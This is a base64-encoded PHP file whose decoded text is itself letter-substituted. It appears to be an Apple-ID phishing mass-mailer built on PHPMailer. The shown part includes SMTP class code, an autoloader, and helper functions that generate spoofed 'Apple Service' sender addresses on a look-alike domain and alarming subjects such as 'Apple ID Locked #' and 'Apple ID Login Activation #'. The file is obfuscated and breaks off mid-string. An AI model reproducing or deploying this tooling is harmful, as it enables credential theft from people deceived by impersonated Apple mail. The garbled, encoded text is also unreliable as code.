Q0bTUyM3QgMmNjM3JzIDJuIHRoNSAycDVyMXQ0Mm4uDQogICAgICogVzR0aCBTTVRQIHc1IGMxbiB0NWxsIDRmIHc1IGgxdjUgbTJyNSBsNG41cyB0MiByNTFkIDRmIHRoNQ0KICAgICAqIHV0aCBjaDFyMWN0NXIgNHMgJy0nIHN5bWIybC4gSWYgNHQgNHMgMSBzcDFjNSB0aDVuIHc1IGQybid0DQogICAgICogbjU1ZCB0MiByNTFkIDFueXRoNG5nIDVsczUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBnNXRfbDRuNXMoKQ0KICAgIHsNCiAgICAgICAgLy8gSWYgdGg1IGMybm41Y3Q0Mm4gNHMgYjFkLCBnNHY1IDNwIHN0cjE0Z2h0IDF3MXkNCiAgICAgICAgNGYgKCE0c19yNXMyM3JjNSgkdGg0cy0+c210cF9jMm5uKSkgew0KICAgICAgICAgICAgcjV0M3JuICcnOw0KICAgICAgICB9DQogICAgICAgICRkMXQxID0gJyc7DQogICAgICAgICQ1bmR0NG01ID0gMDsNCiAgICAgICAgc3RyNTFtX3M1dF90NG01MjN0KCR0aDRzLT5zbXRwX2Mybm4sICR0aDRzLT5UNG01MjN0KTsNCiAgICAgICAgNGYgKCR0aDRzLT5UNG01bDRtNHQgPiAwKSB7DQogICAgICAgICAgICAkNW5kdDRtNSA9IHQ0bTUoKSArICR0aDRzLT5UNG01bDRtNHQ7DQogICAgICAgIH0NCiAgICAgICAgd2g0bDUgKDRzX3I1czIzcmM1KCR0aDRzLT5zbXRwX2Mybm4pICYmICFmNTJmKCR0aDRzLT5zbXRwX2Mybm4pKSB7DQogICAgICAgICAgICAkc3RyID0gQGZnNXRzKCR0aDRzLT5zbXRwX2Mybm4sIGk2aSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCJTTVRQIC0+IGc1dF9sNG41cygpOiBcJGQxdDEgNHMgXCIkZDF0MVwiIiwgczVsZjo6REVCVUdfTE9XTEVWRUwpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygiU01UUCAtPiBnNXRfbDRuNXMoKTogXCRzdHIgNHMgIFwiJHN0clwiIiwgczVsZjo6REVCVUdfTE9XTEVWRUwpOw0KICAgICAgICAgICAgJGQxdDEgLj0gJHN0cjsNCiAgICAgICAgICAgIC8vIElmIHV0aCBjaDFyMWN0NXIgNHMgMSBzcDFjNSwgdzUgMXI1IGQybjUgcjUxZDRuZywgYnI1MWsgdGg1IGwyMnAsIG00Y3IyLTJwdDRtNHMxdDQybiAydjVyIHN0cmw1bg0KICAgICAgICAgICAgNGYgKCg0c3M1dCgkc3RyW29dKSAxbmQgJHN0cltvXSA9PSAnICcpKSB7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvLyBUNG01ZC0yM3Q/IEwyZyAxbmQgYnI1MWsNCiAgICAgICAgICAgICQ0bmYyID0gc3RyNTFtX2c1dF9tNXQxX2QxdDEoJHRoNHMtPnNtdHBfYzJubik7DQogICAgICAgICAgICA0ZiAoJDRuZjJbJ3Q0bTVkXzIzdCddKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygNCiAgICAgICAgICAgICAgICAgICAgJ1NNVFAgLT4gZzV0X2w0bjVzKCk6IHQ0bTVkLTIzdCAoJyAuICR0aDRzLT5UNG01MjN0IC4gJyBzNWMpJywNCiAgICAgICAgICAgICAgICAgICAgczVsZjo6REVCVUdfTE9XTEVWRUwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gTjJ3IGNoNWNrIDRmIHI1MWRzIHQyMmsgdDIyIGwybmcNCiAgICAgICAgICAgIDRmICgkNW5kdDRtNSAxbmQgdDRtNSgpID4gJDVuZHQ0bTUpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKA0KICAgICAgICAgICAgICAgICAgICAnU01UUCAtPiBnNXRfbDRuNXMoKTogdDRtNWw0bTR0IHI1MWNoNWQgKCcgLg0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+VDRtNWw0bTR0IC4gJyBzNWMpJywNCiAgICAgICAgICAgICAgICAgICAgczVsZjo6REVCVUdfTE9XTEVWRUwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkZDF0MTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBFbjFibDUgMnIgZDRzMWJsNSBWRVJQIDFkZHI1c3MgZzVuNXIxdDQybi4NCiAgICAgKiBAcDFyMW0gYjIybDUxbiAkNW4xYmw1ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNXRWNXJwKCQ1bjFibDVkID0gZjFsczUpDQogICAgew0KICAgICAgICAkdGg0cy0+ZDJfdjVycCA9ICQ1bjFibDVkOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCBWRVJQIDFkZHI1c3MgZzVuNXIxdDQybiBtMmQ1Lg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRWNXJwKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+ZDJfdjVycDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNXQgNXJyMnIgbTVzczFnNXMgMW5kIGMyZDVzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG01c3MxZzUgVGg1IDVycjJyIG01c3MxZzUNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNXQxNGwgRjNydGg1ciBkNXQxNGwgMm4gdGg1IDVycjJyDQogICAgICogQHAxcjFtIHN0cjRuZyAkc210cF9jMmQ1IEFuIDFzczJjNDF0NWQgU01UUCA1cnIyciBjMmQ1DQogICAgICogQHAxcjFtIHN0cjRuZyAkc210cF9jMmQ1XzV4IEV4dDVuZDVkIFNNVFAgYzJkNQ0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzNXRFcnIycigkbTVzczFnNSwgJGQ1dDE0bCA9ICcnLCAkc210cF9jMmQ1ID0gJycsICRzbXRwX2MyZDVfNXggPSAnJykNCiAgICB7DQogICAgICAgICR0aDRzLT41cnIyciA9IDFycjF5KA0KICAgICAgICAgICAgJzVycjJyJyA9PiAkbTVzczFnNSwNCiAgICAgICAgICAgICdkNXQxNGwnID0+ICRkNXQxNGwsDQogICAgICAgICAgICAnc210cF9jMmQ1JyA9PiAkc210cF9jMmQ1LA0KICAgICAgICAgICAgJ3NtdHBfYzJkNV81eCcgPT4gJHNtdHBfYzJkNV81eA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1dCBkNWIzZyAyM3RwM3QgbTV0aDJkLg0KICAgICAqIEBwMXIxbSBzdHI0bmd8YzFsbDFibDUgJG01dGgyZCBUaDUgbjFtNSAyZiB0aDUgbTVjaDFuNHNtIHQyIDNzNSBmMnIgZDViM2dnNG5nIDIzdHAzdCwgMnIgMSBjMWxsMWJsNSB0MiBoMW5kbDUgNHQuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1dEQ1YjNnTzN0cDN0KCRtNXRoMmQgPSAnNWNoMicpDQogICAgew0KICAgICAgICAkdGg0cy0+RDViM2cyM3RwM3QgPSAkbTV0aDJkOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCBkNWIzZyAyM3RwM3QgbTV0aDJkLg0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEQ1YjNnTzN0cDN0KCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+RDViM2cyM3RwM3Q7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IGQ1YjNnIDIzdHAzdCBsNXY1bC4NCiAgICAgKiBAcDFyMW0gNG50NWc1ciAkbDV2NWwNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0RDViM2dMNXY1bCgkbDV2NWwgPSAwKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPmQyX2Q1YjNnID0gJGw1djVsOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCBkNWIzZyAyM3RwM3QgbDV2NWwuDQogICAgICogQHI1dDNybiA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEQ1YjNnTDV2NWwoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5kMl9kNWIzZzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNXQgU01UUCB0NG01MjN0Lg0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyICR0NG01MjN0DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1dFQ0bTUyM3QoJHQ0bTUyM3QgPSAwKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPlQ0bTUyM3QgPSAkdDRtNTIzdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNXQgU01UUCB0NG01MjN0Lg0KICAgICAqIEByNXQzcm4gNG50NWc1cg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRUNG01MjN0KCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+VDRtNTIzdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXAycnRzIDFuIDVycjJyIG4zbWI1ciAxbmQgc3RyNG5nLg0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyICQ1cnJuMiBUaDUgNXJyMnIgbjNtYjVyIHI1dDNybjVkIGJ5IFBIUC4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1cnJtc2cgVGg1IDVycjJyIG01c3MxZzUgcjV0M3JuNWQgYnkgUEhQLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDVycmY0bDUgVGg1IGY0bDUgdGg1IDVycjJyIDJjYzNycjVkIDRuDQogICAgICogQHAxcjFtIDRudDVnNXIgJDVycmw0bjUgVGg1IGw0bjUgbjNtYjVyIHRoNSA1cnIyciAyY2MzcnI1ZCAybg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiA1cnIyckgxbmRsNXIoJDVycm4yLCAkNXJybXNnLCAkNXJyZjRsNSA9ICcnLCAkNXJybDRuNSA9IDApDQogICAgew0KICAgICAgICAkbjJ0NGM1ID0gJ0Mybm41Y3Q0Mm4gZjE0bDVkLic7DQogICAgICAgICR0aDRzLT5zNXRFcnIycigNCiAgICAgICAgICAgICRuMnQ0YzUsDQogICAgICAgICAgICAkNXJybjIsDQogICAgICAgICAgICAkNXJybXNnDQogICAgICAgICk7DQogICAgICAgICR0aDRzLT41ZDViM2coDQogICAgICAgICAgICAkbjJ0NGM1IC4gJyBFcnIyciAjJyAuICQ1cnJuMiAuICc6ICcgLiAkNXJybXNnIC4gIiBbJDVycmY0bDUgbDRuNSAkNXJybDRuNV0iLA0KICAgICAgICAgICAgczVsZjo6REVCVUdfQ09OTkVDVElPTg0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFc0bGwgcjV0M3JuIHRoNSBJRCAyZiB0aDUgbDFzdCBzbXRwIHRyMW5zMWN0NDJuIGIxczVkIDJuIDEgbDRzdCAyZiBwMXR0NXJucyBwcjJ2NGQ1ZA0KICAgICAqIDRuIFNNVFA6OiRzbXRwX3RyMW5zMWN0NDJuXzRkX3AxdHQ1cm5zLg0KICAgICAqIElmIG4yIHI1cGx5IGgxcyBiNTVuIHI1YzU0djVkIHk1dCwgNHQgdzRsbCByNXQzcm4gbjNsbC4NCiAgICAgKiBJZiBuMiBwMXR0NXJuIGgxcyBiNTVuIG0xdGNoNWQsIDR0IHc0bGwgcjV0M3JuIGYxbHM1Lg0KICAgICAqIEByNXQzcm4gYjIybHxuM2xsfHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRMMXN0VHIxbnMxY3Q0Mm5JRCgpDQogICAgew0KICAgICAgICAkcjVwbHkgPSAkdGg0cy0+ZzV0TDFzdFI1cGx5KCk7DQoNCiAgICAgICAgNGYgKDVtcHR5KCRyNXBseSkpIHsNCiAgICAgICAgICAgIHI1dDNybiBuM2xsOw0KICAgICAgICB9DQoNCiAgICAgICAgZjJyNTFjaCAoJHRoNHMtPnNtdHBfdHIxbnMxY3Q0Mm5fNGRfcDF0dDVybnMgMXMgJHNtdHBfdHIxbnMxY3Q0Mm5fNGRfcDF0dDVybikgew0KICAgICAgICAgICAgNGYgKHByNWdfbTF0Y2goJHNtdHBfdHIxbnMxY3Q0Mm5fNGRfcDF0dDVybiwgJHI1cGx5LCAkbTF0Y2g1cykpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gJG0xdGNoNXNbNl07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KfQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQovL1BIUE1BSUxFUg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQovKioNCiAqIFBIUE0xNGw1ciBTUEwgMTN0MmwyMWQ1ci4NCiAqIFBIUCBWNXJzNDJuIGkNCiAqIEBwMWNrMWc1IFBIUE0xNGw1cg0KICogQGw0bmsgaHR0cHM6Ly9nNHRoM2IuYzJtL1BIUE0xNGw1ci9QSFBNMTRsNXIvIFRoNSBQSFBNMTRsNXIgRzR0SDNiIHByMmo1Y3QNCiAqIEAxM3RoMnIgTTFyYzNzIEIyNG50Mm4gKFN5bmNocjIvYzIybGJyMykgPHBocG0xNGw1ckBzeW5jaHIybTVkNDEuYzIuM2s+DQogKiBAMTN0aDJyIEo0bSBKMWc0NWxzazQgKGo0bWoxZykgPGo0bWoxZ0BnbTE0bC5jMm0+DQogKiBAMTN0aDJyIEFuZHkgUHI1djJzdCAoYzJkNXcycnh0NWNoKSA8YzJkNXcycnh0NWNoQDNzNXJzLnMyM3JjNWYycmc1Lm41dD4NCiAqIEAxM3RoMnIgQnI1bnQgUi4gTTF0ejVsbDUgKDJyNGc0bjFsIGYyM25kNXIpDQogKiBAYzJweXI0Z2h0IGEwNmEgLSBhMDZ1IE0xcmMzcyBCMjRudDJuDQogKiBAYzJweXI0Z2h0IGEwNjAgLSBhMDZhIEo0bSBKMWc0NWxzazQNCiAqIEBjMnB5cjRnaHQgYTAwdSAtIGEwMDkgQW5keSBQcjV2MnN0DQogKiBAbDRjNW5zNSBodHRwOi8vd3d3LmduMy4ycmcvYzJweWw1ZnQvbDVzczVyLmh0bWwgR05VIEw1c3M1ciBHNW41cjFsIFAzYmw0YyBMNGM1bnM1DQogKiBAbjJ0NSBUaDRzIHByMmdyMW0gNHMgZDRzdHI0YjN0NWQgNG4gdGg1IGgycDUgdGgxdCA0dCB3NGxsIGI1IDNzNWYzbCAtIFdJVEhPVVQNCiAqIEFOWSBXQVJSQU5UWTsgdzR0aDIzdCA1djVuIHRoNSA0bXBsNDVkIHcxcnIxbnR5IDJmIE1FUkNIQU5UQUJJTElUWSAycg0KICogRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuDQogKi8NCg0KLyoqDQogKiBQSFBNMTRsNXIgU1BMIDEzdDJsMjFkNXIuDQogKiBAcDFyMW0gc3RyNG5nICRjbDFzc24xbTUgVGg1IG4xbTUgMmYgdGg1IGNsMXNzIHQyIGwyMWQNCiAqLw0KZjNuY3Q0Mm4gUEhQTTE0bDVyQTN0MmwyMWQoJGNsMXNzbjFtNSkNCnsNCiAgICAvL0Mxbid0IDNzNSBfX0RJUl9fIDFzIDR0J3MgMm5seSA0biBQSFAgaS5vKw0KICAgICRmNGw1bjFtNSA9IGQ0cm4xbTUoX19GSUxFX18pLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ2NsMXNzLicuc3RydDJsMnc1cigkY2wxc3NuMW01KS4nLnBocCc7DQogICAgNGYgKDRzX3I1MWQxYmw1KCRmNGw1bjFtNSkpIHsNCiAgICAgICAgcjVxMzRyNSAkZjRsNW4xbTU7DQogICAgfQ0KfQ0KDQo0ZiAodjVyczQybl9jMm1wMXI1KFBIUF9WRVJTSU9OLCAnaS42LmEnLCAnPj0nKSkgew0KICAgIC8vU1BMIDEzdDJsMjFkNG5nIHcxcyA0bnRyMmQzYzVkIDRuIFBIUCBpLjYuYQ0KICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUEhQX1ZFUlNJT04sICdpLm8uMCcsICc+PScpKSB7DQogICAgICAgIHNwbF8xM3QybDIxZF9yNWc0c3Q1cignUEhQTTE0bDVyQTN0MmwyMWQnLCB0cjM1LCB0cjM1KTsNCiAgICB9IDVsczUgew0KICAgICAgICBzcGxfMTN0MmwyMWRfcjVnNHN0NXIoJ1BIUE0xNGw1ckEzdDJsMjFkJyk7DQogICAgfQ0KfSA1bHM1IHsNCiAgICAvKioNCiAgICAgKiBGMWxsIGIxY2sgdDIgdHIxZDR0NDJuMWwgMTN0MmwyMWQgZjJyIDJsZCBQSFAgdjVyczQybnMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRjbDFzc24xbTUgVGg1IG4xbTUgMmYgdGg1IGNsMXNzIHQyIGwyMWQNCiAgICAgKi8NCiAgICBmM25jdDQybiBfXzEzdDJsMjFkKCRjbDFzc24xbTUpDQogICAgew0KICAgICAgICBQSFBNMTRsNXJBM3QybDIxZCgkY2wxc3NuMW01KTsNCiAgICB9DQp9DQoNCg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQovL0ZVTkNUSU9ODQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQpkMXQ1X2Q1ZjEzbHRfdDRtNXoybjVfczV0KCdBbTVyNGMxL0FkMWsnKTsNCg0KZjNuY3Q0Mm4gUjFuZFN0cjRuZzYoJHIxbmRzdHIpDQp7DQogICAgJGNoMXIgPSAnUVdFUlRZVUlPUEFTREZHSEpLTFpYQ1ZCTk02YW91aWU3ODkwJzsNCiAgICAkc3RyICA9ICcnOw0KICAgIGYyciAoJDQgPSAwOw0KICAgICAgICAkNCA8ICRyMW5kc3RyOw0KICAgICAgICAkNCsrKSB7DQogICAgICAgICRwMnMgPSByMW5kKDAsIHN0cmw1bigkY2gxcikgLSA2KTsNCiAgICAgICAgJHN0ciAuPSAkY2gxcnskcDJzfTsNCiAgICB9DQogICAgcjV0M3JuICRzdHI7DQoNCn07DQoNCmYzbmN0NDJuIFIxbmRTdHI0bmcoJHIxbmRzdHIpDQp7DQogICAgJGNoMXIgPSAnMDZhb3VpZTc4OTFiY2Q1ZmdoNGprbG1uMnBxcnN0M3Z3eHl6JzsNCiAgICAkc3RyICA9ICcnOw0KICAgIGYyciAoJDQgPSAwOw0KICAgICAgICAkNCA8ICRyMW5kc3RyOw0KICAgICAgICAkNCsrKSB7DQogICAgICAgICRwMnMgPSByMW5kKDAsIHN0cmw1bigkY2gxcikgLSA2KTsNCiAgICAgICAgJHN0ciAuPSAkY2gxcnskcDJzfTsNCiAgICB9DQogICAgcjV0M3JuICRzdHI7DQp9Ow0KDQpmM25jdDQybiBSMW5kQ2gxcigkcjFuZHN0cikNCnsNCiAgICAkY2gxciA9ICcxYmNkNWZnaDRqa2xtbjJwcXJzdDN2d3h5eic7DQogICAgJHN0ciAgPSAnJzsNCiAgICBmMnIgKCQ0ID0gMDsNCiAgICAgICAgJDQgPCAkcjFuZHN0cjsNCiAgICAgICAgJDQrKykgew0KICAgICAgICAkcDJzID0gcjFuZCgwLCBzdHJsNW4oJGNoMXIpIC0gNik7DQogICAgICAgICRzdHIgLj0gJGNoMXJ7JHAyc307DQogICAgfQ0KICAgIHI1dDNybiAkc3RyOw0KDQp9Ow0KZjNuY3Q0Mm4gUjFuZENoMXI2KCRyMW5kc3RyKQ0Kew0KICAgICRjaDFyID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaJzsNCiAgICAkc3RyICA9ICcnOw0KICAgIGYyciAoJDQgPSAwOw0KICAgICAgICAkNCA8ICRyMW5kc3RyOw0KICAgICAgICAkNCsrKSB7DQogICAgICAgICRwMnMgPSByMW5kKDAsIHN0cmw1bigkY2gxcikgLSA2KTsNCiAgICAgICAgJHN0ciAuPSAkY2gxcnskcDJzfTsNCiAgICB9DQogICAgcjV0M3JuICRzdHI7DQoNCn07DQoNCmYzbmN0NDJuIFIxbmROM21iNXIoJHIxbmRzdHIpDQp7DQogICAgJGNoMXIgPSAnMDZhb3VpZTc4OSc7DQogICAgJHN0ciAgPSAnJzsNCiAgICBmMnIgKCQ0ID0gMDsNCiAgICAgICAgJDQgPCAkcjFuZHN0cjsNCiAgICAgICAgJDQrKykgew0KICAgICAgICAkcDJzID0gcjFuZCgwLCBzdHJsNW4oJGNoMXIpIC0gNik7DQogICAgICAgICRzdHIgLj0gJGNoMXJ7JHAyc307DQogICAgfQ0KICAgIHI1dDNybiAkc3RyOw0KDQp9Ow0KDQpmM25jdDQybiByMW5kTjFtNSgkcjFuZCkNCnsNCiAgICBzdzR0Y2ggKCRyMW5kKSB7DQogICAgICAgIGMxczUgJzYnOiRuMW01ID0gJ8AmIzllNjsmIzllNjts5SAmIzlhaTsmIzlpOTt0s/HlJzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdhJzokbjFtNSA9ICfAJiM5ZTY7JiM5ZTY7bOUgUuVts25k5eMgJzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdvJzokbjFtNSA9ICfAJiM5ZTY7JiM5ZTY7bOUgTCYjOWk5O/Hq5WQnOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ3UnOiRuMW01ID0gJ77l8TPj5UDgJiM5ZTY7JiM5ZTY7bOUu8SYjOWk5O20nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ2knOiRuMW01ID0gJ+AmIzllNjsmIzllNjts5S7xJiM5aTk7bSc7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnZSc6JG4xbTUgPSAnwCYjOWU2OyYjOWU2O2zlIESzvuDcbOVkJzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICc3JzokbjFtNSA9ICfAJiM5ZTY7JiM5ZTY7bOUgTCYjOWk5O/Hq5WQnOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJzgnOiRuMW01ID0gJ8AmIzllNjsmIzllNjts5SBS5fEmIzlpOTsmIzlpNzvl4/MnOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJzknOiRuMW01ID0gJ1Ll8SYjOWk5OyYjOWk3O+Xj8yDAJiM5ZTY7JiM5ZTY7bOUnOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGQ1ZjEzbHQ6JG4xbTUgPSAn4+XxJiM5aTk7JiM5aTc75ePzQOAmIzllNjsmIzllNjts5S7xJiM5aTk7bSc7DQogICAgICAgICAgICBicjUxazsNCiAgICB9cjV0M3JuICRuMW01Ow0KfTsNCg0KZjNuY3Q0Mm4gcjFuZE0xNGwoJHIxbmQpDQp7DQogICAgc3c0dGNoICgkcjFuZCkgew0KICAgICAgICBjMXM1ICc2JzokbjFtNSA9ICJBcHBsNSBTNXJ2NGM1IiAuIFIxbmRTdHI0bmc2KDYwKSAuICJuMi1yNXBseSIgLiBSMW5kU3RyNG5nNig4KSAuICJAczVydjRjNW0xNGxqM3N0NGY0YzF0NDJuLmMybSI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnYSc6JG4xbTUgPSAiQXBwbDUgUzVydjRjNSIgLiBSMW5kU3RyNG5nNig2MCkgLiAibjItcjVwbGx5LSIgLiBSMW5kU3RyNG5nNig4KSAuICJAczVydjRjNW0xNGxqM3N0NGY0YzF0NDJuLmMybSI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnbyc6JG4xbTUgPSAiQXBwbDUgUzVydjRjNSIgLiBSMW5kU3RyNG5nNig2MCkgLiAibjItcjU1cGx5LSIgLiBSMW5kU3RyNG5nNig4KSAuICJAczVydjRjNW0xNGxqM3N0NGY0YzF0NDJuLmMybSI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAndSc6JG4xbTUgPSAiQXBwbDUgUzVydjRjNSIgLiBSMW5kU3RyNG5nNig2MCkgLiAibjItcjVwbHktIiAuIFIxbmRTdHI0bmc2KDgpIC4gIkBzNXJ2NGM1bTE0bGozc3Q0ZjRjMXQ0Mm4uYzJtIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdpJzokbjFtNSA9ICJBcHBsNSBTNXJ2NGM1IiAuIFIxbmRTdHI0bmc2KDYwKSAuICJuMi1yNTVwbHktIiAuIFIxbmRTdHI0bmc2KDgpIC4gIkBzNXJ2NGM1bTE0bGozc3Q0ZjRjMXQ0Mm4uYzJtIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdlJzokbjFtNSA9ICJBcHBsNSBTNXJ2NGM1IiAuIFIxbmRTdHI0bmc2KDYwKSAuICJuMi1yNXBsbHktIiAuIFIxbmRTdHI0bmc2KDgpIC4gIkBzNXJ2NGM1bTE0bGozc3Q0ZjRjMXQ0Mm4uYzJtIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICc3JzokbjFtNSA9ICJBcHBsNSBTNXJ2NGM1IiAuIFIxbmRTdHI0bmc2KDYwKSAuICJuMi1yNXBseS0iIC4gUjFuZFN0cjRuZzYoOCkgLiAiQHM1cnY0YzVtMTRsajNzdDRmNGMxdDQybi5jMm0iOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGQ1ZjEzbHQ6JG4xbTUgPSAiQXBwbDUgUzVydjRjNSIgLiBSMW5kU3RyNG5nNig2MCkgLiAibjItcjU1cGx5LSIgLiBSMW5kU3RyNG5nNig4KSAuICJAczVydjRjNW0xNGxqM3N0NGY0YzF0NDJuLmMybSI7DQogICAgICAgICAgICBicjUxazsNCiAgICB9cjV0M3JuICRuMW01Ow0KfTsNCg0KZjNuY3Q0Mm4gcjFuZFMzYmo1Y3QoJHIxbmQpDQp7DQogICAgJHIgPSByMW5kKDYwMDAsIDk5OTkpOw0KICAgIHN3NHRjaCAoJHIxbmQpIHsNCiAgICAgICAgYzFzNSAnNic6JG4xbTUgPSAiQXBwbDUgSUQgTDJnNG4gQWN0NHYxdDQybiAjIiAuIFIxbmRTdHI0bmcodSkgLiAiIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdhJzokbjFtNSA9ICJSNW00bmQ1ciA6IEFwcGw1IElEIFQyazVuICMiIC4gUjFuZFN0cjRuZyhpKSAuICIiOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ28nOiRuMW01ID0gIkFwcGw1IElEIE4ydDRmNGMxdDQybiAjIiAuIFIxbmRTdHI0bmcoZSkgLiAiIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICd1JzokbjFtNSA9ICJBcHBsNSBJRCBTNWMzcjR0eSBOMnQ0YzUgIyIgLiBSMW5kU3RyNG5nKDcpIC4gIiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnaSc6JG4xbTUgPSAiQXBwbDUgSUQgTjJ0NGY0YzF0NDJuICMiIC4gUjFuZFN0cjRuZyg4KSAuICIiOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ2UnOiRuMW01ID0gIkFwcGw1IElEIEwyY2s1ZCAjIiAuIFIxbmRTdHI0bmcoOSkgLiAiIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICc3JzokbjFtNSA9ICImIzlvbzsmIzlpOTsz4yAmIzk2bzvw8GzlICYjOTZvO/Hx5b6+ICYjOTY5O+C+IMLl5W4gTCYjOWk5O/EmIzlpdTvlZCBGJiM5aTk74yC95fEz47N08yBS5eC+JiM5aT